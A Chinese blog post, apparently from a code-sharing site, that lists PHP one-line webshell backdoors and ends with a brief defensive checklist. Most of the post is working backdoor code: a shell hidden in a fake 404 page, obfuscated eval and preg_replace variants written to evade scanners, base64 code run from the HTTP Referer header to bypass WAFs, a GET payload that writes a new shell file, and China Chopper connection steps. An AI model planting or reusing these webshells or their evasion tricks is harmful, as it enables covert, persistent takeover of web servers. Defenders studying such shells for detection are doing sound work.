一些强悍的PHP一句话后门[通俗易懂]

一些强悍的PHP一句话后门[通俗易懂]这类后门让网站、服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新出现的编写技术,用普通的检测方法是没法发现并处理的。

这类后门让网站、服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新出现的编写技术,用普通的检测方法是没法发现并处理的。今天我们细数一些有意思的PHP一句话木马。

利用404页面隐藏PHP小马:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">   
<html><head>   
<title>404 Not Found</title>   
</head><body>   
<h1>Not Found</h1>   
<p>The requested URL was not found on this server.</p>   
</body></html>   
<?php   
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");   
header('HTTP/1.1 404 Not Found');   
?>

404页面是网站常用的文件,一般建议好后很少有人会去对它进行检查修改,这时我们可以利用这一点进行隐藏后门。

无特征隐藏PHP一句话:

<?php   
session_start();   
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);   
$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');

将$_POST[‘code’]的内容赋值给$_SESSION[‘theCode’],然后执行$_SESSION[‘theCode’],亮点是没有特征码。用扫描工具来检查代码的话,是不会报警的,达到目的了。

超级隐蔽的PHP后门:

<?php $_GET[a]($_GET[b]);?>

仅用GET函数就构成了木马;

利用方法:

?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

执行后当前目录生成c.php一句话木马,当传参a为eval时会报错木马生成失败,为assert时同样报错,但会生成木马,真可谓不可小视,简简单单的一句话,被延伸到这般应用。

层级请求,编码运行PHP后门:


此方法用两个文件实现,文件1

<?php   
//1.php   
header('Content-type:text/html;charset=utf-8');   
parse_str($_SERVER['HTTP_REFERER'], $a);   
if(reset($a) == '10' && count($a) == 9) {   
   eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));   
}

文件2

<?php   
//2.php   header('Content-type:text/html;charset=utf-8');   
//要执行的代码   $code = <<<CODE   phpinfo();   
CODE;   
//进行base64编码   
$code = base64_encode($code);   
//构造referer字符串   
$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";   //后门url   $url = 'http://localhost/test1/1.php';   
$ch = curl_init();   
$options = array(   
    CURLOPT_URL => $url,   
    CURLOPT_HEADER => FALSE,   
    CURLOPT_RETURNTRANSFER => TRUE,   
    CURLOPT_REFERER => $referer   
);   
curl_setopt_array($ch, $options);   
echo curl_exec($ch);

通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码,来达到后门的效果,一般waf对referer这些检测要松一点,或者没有检测。用这个思路bypass waf不错。

PHP后门生成工具weevely

weevely是一款针对PHP的webshell的自由软件,可用于模拟一个类似于telnet的连接shell,weevely通常用于web程序的漏洞利用,隐藏后门或者使用类似telnet的方式来代替web 页面式的管理,weevely生成的服务器端php代码是经过了base64编码的,所以可以骗过主流的杀毒软件和IDS,上传服务器端代码后通常可以通过weevely直接运行。

weevely所生成的PHP后门所使用的方法是现在比较主流的base64加密结合字符串变形技术,后门中所使用的函数均是常用的字符串处理函数,被作为检查规则的eval,system等函数都不会直接出现在代码中,从而可以致使后门文件绕过后门查找工具的检查。使用暗组的Web后门查杀工具进行扫描,结果显示该文件无任何威胁。

以上是大概介绍下边是截图,相关使用方法亦家就不在这介绍了,简单的科普一下。

三个变形的一句话PHP木马

第一个

<?php ($_=@$_GET[2]).@$_($_POST[1])?>

在菜刀里写http://site/1.php?2=assert密码是1

第二个

<?php   
$_="";   
$_[+""]='';   
$_="$_"."";   
$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");   
?>   
<?php

在菜刀里写http://site/2.php?_=assert&__=eval($_POST[‘pass’]) 密码是pass。如果你用菜刀的附加数据的话更隐蔽,或者用其它注射工具也可以,因为是post提交的。

第三个

($b4dboy = $_POST['b4dboy']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add');

str_rot13(‘riny’)即编码后的eval,完全避开了关键字,又不失效果,让人吐血!

最后列几个高级的PHP一句话木马后门:

1、   
$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";   
$hh("/[discuz]/e",$_POST['h'],"Access");   
//菜刀一句话   
2、   
$filename=$_GET['xbid'];   
include ($filename);   
//危险的include函数,直接编译任何文件为php格式运行   
3、   
$reg="c"."o"."p"."y";   
$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);   
//重命名任何文件   
4、   
$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";   
$gzid("/[discuz]/e",$_POST['h'],"Access");   
//菜刀一句话   
5、include ($uid);   
//危险的include函数,直接编译任何文件为php格式运行,POST www.xxx.com/index.php?uid=/home/www/bbs/image.gif   //gif插一句话   
6、典型一句话   
程序后门代码   
<?php eval_r($_POST[sb])?>   
程序代码   
<?php @eval_r($_POST[sb])?>   
//容错代码   程序代码   
<?php assert($_POST[sb]);?>   
//使用lanker一句话客户端的专家模式执行相关的php语句   
程序代码   
<?$_POST['sa']($_POST['sb']);?>   
程序代码   
<?$_POST['sa']($_POST['sb'],$_POST['sc'])?>   
程序代码   
<?php   
@preg_replace("/[email]/e",$_POST['h'],"error");   
?>   
//使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入   
程序代码   
<O>h=@eval_r($_POST1);</O>   
程序代码   
<script language="php">@eval_r($_POST[sb])</script>  
 //绕过<?限制的一句话

综上,这些PHP一句话后门可谓五脏俱全,一不小心您肯定中招了,而我们今天这篇文章的重中之重在哪呢?重点就在下边的总结!

如何应对PHP一句话后门:

我们强调几个关键点,看这文章的你相信不是门外汉,我也就不啰嗦了:

1,对PHP程序编写要有安全意识   
2,服务器日志文件要经常看,经常备份   
3,对每个站点进行严格的权限分配   
4,对动态文件及目录经常批量安全审查   
5,学会如何进行手工杀毒《即行为判断查杀》   
6,时刻关注,或渗入活跃的网络安全营地   
7,对服务器环境层级化处理,哪怕一个函数也可做规则

我们认为当管理的站点多了,数据量大时,我们应合理应用一些辅助工具,但不应完全依赖这些工具,技术是时刻在更新进步的,最为重要的是你应学会和理解,编写这些强悍后门的人所处思维,角色上的换位可为你带来更大的进步。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
转载请注明出处: https://daima100.com/11854.html

(0)

相关推荐

  • 以python换行为中心的标题

    以python换行为中心的标题a href=”https://www.python.org/”Python/a是一种高级编程语言,具有易读易写的特点。Python的设计哲学是优雅、明确、简单,易于学习和阅读。Python不仅可以用于脚本编写和快速开发,还可以用于实现大型的软件工程。

    2024-08-10
    31
  • 如何安装Python

    如何安装PythonPython3.7是目前应用最广泛的Python版本,安装方法如下:

    2024-06-25
    49
  • 虚空之眼带什么天赋_虚空防护天赋

    虚空之眼带什么天赋_虚空防护天赋

    2023-08-28
    132
  • Python开发环境搭建

    Python开发环境搭建Python是一种高级编程语言,旨在提供一种简单易学的编程方式,同时也应用广泛。Python在数据分析、Web开发、机器学习和人工智能等领域都得到广泛应用。因此,Python成为了一种非常有用的编程语言,也吸引了越来越多的学习者。在本篇文章中,我们将对Python的开发环境搭建进行详细介绍,帮助初学者搭建一个合适的Python开发环境。

    2024-05-10
    69
  • python爬虫什么教程最好(python爬虫怎么学)

    python爬虫什么教程最好(python爬虫怎么学)Python爬虫入门看什么书好呢?我为你推荐一本书,手把手教你学Python。

    2023-11-18
    136
  • Python正则表达式解析实现

    Python正则表达式解析实现Python中的正则表达式是一种常用的文本处理工具,通过使用一定的符号表示法来描述字符集合、分组、重复等规则,对文本进行匹配、查找、替换等操作。在Python中,re模块就是专门用于正则表达式操作的标准模块,它提供了一系列强大而灵活的函数和方法,可以满足各种不同的文本处理需求。

    2024-03-24
    79
  • 强大的Python字符串处理方法

    强大的Python字符串处理方法在Python中,字符串是不可变对象。这意味着一旦Python字符串被创建,就不能直接修改它。然而,有很多内置的字符串处理方法可以让我们轻松地执行许多操作。这篇文章将提供许多Python字符串处理方法,让你更好地利用字符串。

    2024-03-26
    73
  • lol佣兵大作战(lol佣兵模式什么时候)

    lol佣兵大作战(lol佣兵模式什么时候)

    2023-10-16
    137

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注